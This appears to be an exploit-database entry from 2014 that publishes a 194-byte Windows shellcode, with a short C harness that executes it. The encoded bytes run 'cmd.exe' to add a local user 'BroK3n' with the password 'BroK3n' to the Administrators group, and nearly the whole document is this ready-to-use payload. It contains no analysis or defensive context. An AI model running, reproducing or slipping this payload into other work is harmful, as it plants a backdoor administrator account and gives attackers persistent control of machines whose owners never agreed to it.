Add Admin User Shellcode (194 bytes) - Any Windows Version
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Title:       Add Admin User Shellcode (194 bytes) - Any Windows Version
Release date:      21/06/2014
Author:   Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
Size:   194 byte (NULL free)
Tested on:   Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3
Username: BroK3n
Password: BroK3n
 
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
 
 
int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}